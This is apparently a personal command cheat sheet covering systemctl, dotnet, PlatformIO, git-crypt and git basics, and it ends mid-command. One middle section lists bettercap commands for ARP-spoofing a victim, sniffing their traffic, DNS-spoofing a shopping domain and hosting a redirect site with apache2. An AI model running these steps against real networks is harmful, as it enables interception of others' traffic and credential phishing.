systemctl list-units --type=service --state=running
systemctl status NAME_OF_SERVICE
systemctl edit NAME_OF_SERVICE
systemctl show NAME_OF_SERVICE
systemctl restart NAME_OF_SERVICE
dotnet --info // SDK version
dotnet new list // list of every template
dotnet clean && dotnet restore && dotnet build && dotnet run
sudo dotnet workload install wasm-tools
pio run --target upload // upload code into microcontroller | |
pio device monitor // activate serial momitor |
sudo bettercap | |
net.probe on //Detection Phase. See devices available | |
net.show // List devices with their IPs & MAC addresses | |
set arp.spoof.targets <victim's IP> //Arp spoofing | |
arp.spoof on | |
net.sniff on //Ability to spy in victim's traffic | |
net.sniff off | |
set.dns.spoof.domains <myamazon.com> | |
service apache2 start //Start a website for the redirection | |
ifconfig // Check created website IP |
#If hasn't been installed yet | |
sudo apt install giy-crypt | |
#Inside the project folder | |
git-crypt init # Initialize git-crypt | |
git-crypt export-key ./git-key#Creates a key to encrypt. It is saved in the current project folder with the name "git-key" | |
touch .gitignore && touch .gitattributes | |
echo git-key >> .gitignore # the git-key file won't be pushed to a remote file | |
echo "<file-pattern> filter=git-crypt diff=git-crypt" >> .gitattributes | |
#<file-pattern> may be the filename, extension or folder that will be encrypred. Cheat sheet: https://github.com/kenmueller/gitignore | |
git-crypt status #Check the files that are going to be encrypted of unencrypted |
If you want to work based on a remote repository which has some files, use "git clone /path/repo"
Or else, if you have done some work locally and you wanna merge with a completely empty remote repo, and start working locally, use "git init", "git remote add origin Link_of_repo", "git push --set-upstream origin main"
However, if you have done some work locally and you wanna merge with a remote repo which has some files, use "git init", "git remote add origin _Link-repo", "git pull", "git checkout main -f", "git branch --set-upstream-to origin/main"
git init (initialize Git into your local project)
git add --all (To add every file/changes to staging. In other words, it's used for preparing the files and changes to publish them")
git commit -m"Message for commit"
(A commit is a record of all the changes you made, intermediate step before publishing the changes, or better said, pusblising to Production)
git c